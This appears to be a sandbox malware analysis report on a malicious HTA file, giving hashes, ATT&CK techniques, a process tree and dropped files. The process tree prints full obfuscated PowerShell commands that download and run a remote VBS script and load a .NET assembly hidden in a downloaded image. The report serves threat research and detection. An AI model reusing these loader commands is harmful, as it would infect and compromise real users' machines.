a46ea1e4766c89b34c82354c215e4a27c11cb53886ace74f78af8655dfa09fab

Analysis

max time kernel
118s
max time network
119s
platform
windows7_x64
resource
win7-20241010-en
resource tags

arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
submitted
31-01-2025 07:02

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

wegivenbestthngsforbestgirlfriendwhobestforentiretime.hta
Size

15KB
MD5

b6bca63d34e72f931db79e9b7af61d21
SHA1

b9bb3c1c502d31bd3fdb1841d312c2fa5bab4caf
SHA256

a46ea1e4766c89b34c82354c215e4a27c11cb53886ace74f78af8655dfa09fab
SHA512

acce0debf2b8dfa9bc06c1c317cc3491d61c7ca48607c614a95674454bc3a5fb8a1f8d898bb40d517272643af63aae3e06cedd76432cf2c8da6ab905c0c0d6ea
SSDEEP

48:3hMuVfhMLVfu4TArxprC+cAZSnRyxm6SMkMMf2M2VfmMTG:heFTArxVncWSWSjAo

Score

8^/10

defense_evasion discovery execution

Malware Config

Signatures

Blocklisted process makes network request 3 IoCs

flow	pid	Process
4	980	powershell.exe
6	584	powershell.exe
8	584	powershell.exe

Evasion via Device Credential Deployment 1 IoCs

defense_evasion execution

pid	Process
980	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
584	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cvtres.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	csc.exe

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
980	powershell.exe
584	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	980	powershell.exe
Token: SeDebugPrivilege	584	powershell.exe

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 956 wrote to memory of 2288	956	mshta.exe	31
PID 956 wrote to memory of 2288	956	mshta.exe	31
PID 956 wrote to memory of 2288	956	mshta.exe	31
PID 956 wrote to memory of 2288	956	mshta.exe	31
PID 2288 wrote to memory of 980	2288	cmd.exe	33
PID 2288 wrote to memory of 980	2288	cmd.exe	33
PID 2288 wrote to memory of 980	2288	cmd.exe	33
PID 2288 wrote to memory of 980	2288	cmd.exe	33
PID 980 wrote to memory of 2884	980	powershell.exe	34
PID 980 wrote to memory of 2884	980	powershell.exe	34
PID 980 wrote to memory of 2884	980	powershell.exe	34
PID 980 wrote to memory of 2884	980	powershell.exe	34
PID 2884 wrote to memory of 3056	2884	csc.exe	35
PID 2884 wrote to memory of 3056	2884	csc.exe	35
PID 2884 wrote to memory of 3056	2884	csc.exe	35
PID 2884 wrote to memory of 3056	2884	csc.exe	35
PID 980 wrote to memory of 2004	980	powershell.exe	37
PID 980 wrote to memory of 2004	980	powershell.exe	37
PID 980 wrote to memory of 2004	980	powershell.exe	37
PID 980 wrote to memory of 2004	980	powershell.exe	37
PID 2004 wrote to memory of 584	2004	WScript.exe	38
PID 2004 wrote to memory of 584	2004	WScript.exe	38
PID 2004 wrote to memory of 584	2004	WScript.exe	38
PID 2004 wrote to memory of 584	2004	WScript.exe	38

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\wegivenbestthngsforbestgirlfriendwhobestforentiretime.hta"
1⤵
- System Location Discovery: System Language Discovery
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:956
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\system32\cmd.exe" "/c poWerShELl -EX BYpASS -nop -W 1 -C DEVIcecREdEntIAlDePloYment.eXE ; INVOKe-eXPRESSIoN($(INvoKe-eXpreSsION('[SYSTEM.TEXt.ENCODiNg]'+[chaR]58+[CHaR]0X3A+'UTf8.getSTRiNg([sysTEM.CONVErT]'+[CHaR]58+[CHaR]0x3a+'frOmBASE64STRING('+[CHaR]34+'JE5nZUdPdSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhRGQtVFlwZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1NZU1CZXJEZUZpTml0aU9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoInVybG1vbiIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGpreUYsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgRixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBGU3hxSGZWLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBCQVMsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgckwpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbkFtRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJRaSIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbmFNRVNQQUNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgT1BWICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICROZ2VHT3U6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8yMTcuMTYwLjE2My4xMTMvNTUwL25pY2V3b3JraW5nc2tpbGxnaXZlbWViZXN0dGhpbmdzZm9yYm9vc3RiZXN0Zm9ybWVnaXZlbmJlc3RjaGFsbC5nSUYiLCIkRW5WOkFQUERBVEFcbmljZXdvcmtpbmdza2lsbGdpdmVtZWJlc3R0aGluZ3Nmb3Jib29zdGJlc3Rmb3JtZWdpdmVuYmVzdGMudmJzIiwwLDApO1NUQVJULVNsZWVQKDMpO0lOVk9LRS1lWFByZXNzSW9uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRFTlY6QVBQREFUQVxuaWNld29ya2luZ3NraWxsZ2l2ZW1lYmVzdHRoaW5nc2ZvcmJvb3N0YmVzdGZvcm1lZ2l2ZW5iZXN0Yy52YnMi'+[ChAr]0X22+'))')))"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2288
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    poWerShELl -EX BYpASS -nop -W 1 -C DEVIcecREdEntIAlDePloYment.eXE ; INVOKe-eXPRESSIoN($(INvoKe-eXpreSsION('[SYSTEM.TEXt.ENCODiNg]'+[chaR]58+[CHaR]0X3A+'UTf8.getSTRiNg([sysTEM.CONVErT]'+[CHaR]58+[CHaR]0x3a+'frOmBASE64STRING('+[CHaR]34+'JE5nZUdPdSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhRGQtVFlwZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1NZU1CZXJEZUZpTml0aU9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoInVybG1vbiIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGpreUYsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgRixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBGU3hxSGZWLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBCQVMsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgckwpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbkFtRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJRaSIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbmFNRVNQQUNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgT1BWICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICROZ2VHT3U6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8yMTcuMTYwLjE2My4xMTMvNTUwL25pY2V3b3JraW5nc2tpbGxnaXZlbWViZXN0dGhpbmdzZm9yYm9vc3RiZXN0Zm9ybWVnaXZlbmJlc3RjaGFsbC5nSUYiLCIkRW5WOkFQUERBVEFcbmljZXdvcmtpbmdza2lsbGdpdmVtZWJlc3R0aGluZ3Nmb3Jib29zdGJlc3Rmb3JtZWdpdmVuYmVzdGMudmJzIiwwLDApO1NUQVJULVNsZWVQKDMpO0lOVk9LRS1lWFByZXNzSW9uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRFTlY6QVBQREFUQVxuaWNld29ya2luZ3NraWxsZ2l2ZW1lYmVzdHRoaW5nc2ZvcmJvb3N0YmVzdGZvcm1lZ2l2ZW5iZXN0Yy52YnMi'+[ChAr]0X22+'))')))"
    3⤵
    - Blocklisted process makes network request
    - Evasion via Device Credential Deployment
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:980
  - - C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
      "C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\vzpfd0ng.cmdline"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2884
    - - C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESE62B.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCE61B.tmp"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:3056
  - - C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\niceworkingskillgivemebestthingsforboostbestformegivenbestc.vbs"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2004
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -Command "[System.Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('JABvAHIAaQBnAGkAbgBhAGwAVABlAHgAdAAgAD0AIAAnAHQAeAB0AC4AcwBnAG4AaQBoAHQAZABvAG8AZwBwAHUAdAByAGEAdABzAHcAZQBuAHIAbwBmAHMAZwBuAGkAaAB0AHQAcwBlAGIAeQBtAGUAZQBzAC8AMAA1ADUALwAzADEAMQAuADMANgAxAC4AMAA2ADEALgA3ADEAMgAvAC8AOgBwAHQAdABoACcAOwAkAHIAZQBzAHQAbwByAGUAZABUAGUAeAB0ACAAPQAgACQAbwByAGkAZwBpAG4AYQBsAFQAZQB4AHQAIAAtAHIAZQBwAGwAYQBjAGUAIAAnACMAJwAsACAAJwB0ACcAOwAkAGkAbQBhAGcAZQBVAHIAbAAgAD0AIAAnAGgAdAB0AHAAcwA6AC8ALwByAGUAcwAuAGMAbABvAHUAZABpAG4AYQByAHkALgBjAG8AbQAvAGQAYQB4AHcAdQBhADYAMwB5AC8AaQBtAGEAZwBlAC8AdQBwAGwAbwBhAGQALwB2ADEANwAzADcANgA5ADYAMQA3ADEALwBoAGUAawBlADIAcABtAHQAZQB1AHcAOABzAHEAcwBwAGwAaABrAGwALgBqAHAAZwAnADsAJAB3AGUAYgBDAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsAJABpAG0AYQBnAGUAQgB5AHQAZQBzACAAPQAgACQAdwBlAGIAQwBsAGkAZQBuAHQALgBEAG8AdwBuAGwAbwBhAGQARABhAHQAYQAoACQAaQBtAGEAZwBlAFUAcgBsACkAOwAkAGkAbQBhAGcAZQBUAGUAeAB0ACAAPQAgAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAaQBtAGEAZwBlAEIAeQB0AGUAcwApADsAJABzAHQAYQByAHQARgBsAGEAZwAgAD0AIAAnADwAPABCAEEAUwBFADYANABfAFMAVABBAFIAVAA+AD4AJwA7ACQAZQBuAGQARgBsAGEAZwAgAD0AIAAnADwAPABCAEEAUwBFADYANABfAEUATgBEAD4APgAnADsAJABzAHQAYQByAHQASQBuAGQAZQB4ACAAPQAgACQAaQBtAGEAZwBlAFQAZQB4AHQALgBJAG4AZABlAHgATwBmACgAJABzAHQAYQByAHQARgBsAGEAZwApADsAJABlAG4AZABJAG4AZABlAHgAIAA9ACAAJABpAG0AYQBnAGUAVABlAHgAdAAuAEkAbgBkAGUAeABPAGYAKAAkAGUAbgBkAEYAbABhAGcAKQA7ACQAcwB0AGEAcgB0AEkAbgBkAGUAeAAgAC0AZwBlACAAMAAgAC0AYQBuAGQAIAAkAGUAbgBkAEkAbgBkAGUAeAAgAC0AZwB0ACAAJABzAHQAYQByAHQASQBuAGQAZQB4ADsAJABzAHQAYQByAHQASQBuAGQAZQB4ACAAKwA9ACAAJABzAHQAYQByAHQARgBsAGEAZwAuAEwAZQBuAGcAdABoADsAJABiAGEAcwBlADYANABMAGUAbgBnAHQAaAAgAD0AIAAkAGUAbgBkAEkAbgBkAGUAeAAgAC0AIAAkAHMAdABhAHIAdABJAG4AZABlAHgAOwAkAGIAYQBzAGUANgA0AEMAbwBtAG0AYQBuAGQAIAA9ACAAJABpAG0AYQBnAGUAVABlAHgAdAAuAFMAdQBiAHMAdAByAGkAbgBnACgAJABzAHQAYQByAHQASQBuAGQAZQB4ACwAIAAkAGIAYQBzAGUANgA0AEwAZQBuAGcAdABoACkAOwAkAGMAbwBtAG0AYQBuAGQAQgB5AHQAZQBzACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAGIAYQBzAGUANgA0AEMAbwBtAG0AYQBuAGQAKQA7ACQAbABvAGEAZABlAGQAQQBzAHMAZQBtAGIAbAB5ACAAPQAgAFsAUwB5AHMAdABlAG0ALgBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAKAAkAGMAbwBtAG0AYQBuAGQAQgB5AHQAZQBzACkAOwAkAHQAeQBwAGUAIAA9ACAAWwBDAGwAYQBzAHMATABpAGIAcgBhAHIAeQAxAC4ASABvAG0AZQBdAC4ARwBlAHQATQBlAHQAaABvAGQAKAAnAG0AYQBpAG4AJwApAC4ASQBuAHYAbwBrAGUAKAAkAG4AdQBsAGwALAAgAFsAbwBiAGoAZQBjAHQAWwBdAF0AIABAACgAJAByAGUAcwB0AG8AcgBlAGQAVABlAHgAdAAsACcAZgBhAGwAcwBlACcALAAnAEMAYQBzAFAAbwBsACcALAAnAGYAYQBsAHMAZQAnACkAKQA=')) | Invoke-Expression"
        5⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:584

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\Cab4E3.tmp

Filesize
70KB

MD5
49aebf8cbd62d92ac215b2923fb1b9f5

SHA1
1723be06719828dda65ad804298d0431f6aff976

SHA256
b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

SHA512
bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

Download Submit
C:\Users\Admin\AppData\Local\Temp\RESE62B.tmp

Filesize
1KB

MD5
6d9e18ec2e757d04392c9aedd4142b04

SHA1
04c0f6b25992bf329404797f27a51eb706cc7d41

SHA256
630396be76fe273e3b93586cf8e110c9ceae06c15f4eadbee84ec9dd3ab01cd4

SHA512
a2574c87d7b0882f248f133d1276a55f71d7d35fbe184a0a41f10b2dbb147e8d3af4e8e801006672c327a90f8a6696cc8f57ed1d69a5a09f1f0d4606c5133c51

Download Submit
C:\Users\Admin\AppData\Local\Temp\Tar505.tmp

Filesize
181KB

MD5
4ea6026cf93ec6338144661bf1202cd1

SHA1
a1dec9044f750ad887935a01430bf49322fbdcb7

SHA256
8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8

SHA512
6c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b

Download Submit
C:\Users\Admin\AppData\Local\Temp\vzpfd0ng.dll

Filesize
3KB

MD5
6d9dadfb0ea2dc16574bfa7c6071a08b

SHA1
75716c7dbde3af6c4a10eb264abfda2b1f6e364d

SHA256
aeec2e3f5a0ea0480271e5efc9c577d7212b49618459ec0cc3d8b93b30d02bfc

SHA512
949d2ff8b118f2c59ada87db0f4dd901aa64cd56e88825feaa57783b3175729390bf90b682f444174353985d991b7b1d790fea4eaf2d45cbc096b20e25c4e131

Download Submit
C:\Users\Admin\AppData\Local\Temp\vzpfd0ng.pdb

Filesize
7KB

MD5
ad4f42ab599609233eb0669ab77cc984

SHA1
a8f8f4158904ab9ab294c8d83e9eca4b427726ae

SHA256
067aff86e2bd83cb803b0c758a510e5ceca90c15d5c98a3973c739e014cc991a

SHA512
f343750a8e4942df6a4f18ebbe935c0b1a41811439153ba0fb146e40bcaff8f0226f92c2c79f163a92fdb5fb6d70a16a3d5e4273190139178a99c4482ab6c749

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\T4ZNBNYOHG84SHFCVEEE.temp

Filesize
7KB

MD5
d572622f97e3d64a1acd8523f2bc916d

SHA1
f6613959d19f255232d5e97283cb4d2e9e74ddad

SHA256
e5d5868460f8992ef4c70b1c5ea3eb31243a4524b12cf49a954bee1657df20b2

SHA512
a302a11241a443d3660910c23a28a911069cd2999c4eb1e718d1885703cbb13af32cdca87898adab74778148c35f26999792b5e2e07a3d332b3ea01a3a9e6f2d

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Filesize
7KB

MD5
155e95f0be8e2f0d9cbce622c1bdf25b

SHA1
1c5b9e2d279c7a8f5c92144e7b85144cfb35d599

SHA256
e6661ec9e3946c069748363ed92285b2ef5e8b3ba8eb81a9197ecb58c9260aae

SHA512
d93aa3b91c4ef3c161b805dc3f29f5f8a9a37a0ef6a88687da853a823349116ec7f51e994ef7c7e6c7b68faec517545018bdb3efe38b704f109db44156883cc8

Download Submit
C:\Users\Admin\AppData\Roaming\niceworkingskillgivemebestthingsforboostbestformegivenbestc.vbs

Filesize
223KB

MD5
0f3025d4d5a84125b6976beadc384ba6

SHA1
00f8ef347fac607094499a75102a0f330bd61ae1

SHA256
ecbd9b07289801b665dbd8822fe23248e816033fe5791f227f81b13f01645182

SHA512
3528872018fd7b511d93bfb0a82043c45b076b7bc197a1b66e42d76d775a032875640793494491f8c609aa6c0410c32f88fa0b2f339bd59ed166eed0c77cb211

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\CSCE61B.tmp

Filesize
652B

MD5
7814add07db4eb00fc3ba04835b11e2a

SHA1
9d9e6a18b7bdd575e1a9804bac4ced5534610020

SHA256
bb82210fe065985368f475ff941a4eccbbefcfb0228351afad408cafc6c438f0

SHA512
c72db9cc89efd01bcef6e63575bdafeb7b556f59311cd9314b938f45dd63b9f291e3fc23a496939c67a1bf1e9b78a17648aad7f16529166bb1efae849d85de3d

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\vzpfd0ng.0.cs

Filesize
455B

MD5
d8cdd711e8e78d09c6cc1ab48e24dd50

SHA1
5cb77a53a82f93db5edd021d706f986dd504005a

SHA256
c2c29865844c4fea1dcecd5de4489dbb084ddda0720ecd40cf1bfc76f50c37f8

SHA512
66814498882b10126c2d5abdf4b223c4d37a2432b1d315dbcde5a65cb7f121f36be0a57a40467ab8b43f800f13a0dd7038002f09fa09e83183cde110296e4635

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\vzpfd0ng.cmdline

Filesize
309B

MD5
731d736f52d46f88a28afccfdd80a0d4

SHA1
d5066a783010ae08a92aa33677a5653071dd83e9

SHA256
52a63899b66e0e26b9712f5215f6231c2ca2d7095c0367cd598d925014c8715f

SHA512
6bc73df8a5e841ef24549109113104fb4571b92ba153d404e6f91d7f296541c689cf02d0d4199b3f89b77eb01c758d87fafcdecd907edc4b42e0ca627de8127f

Download Submit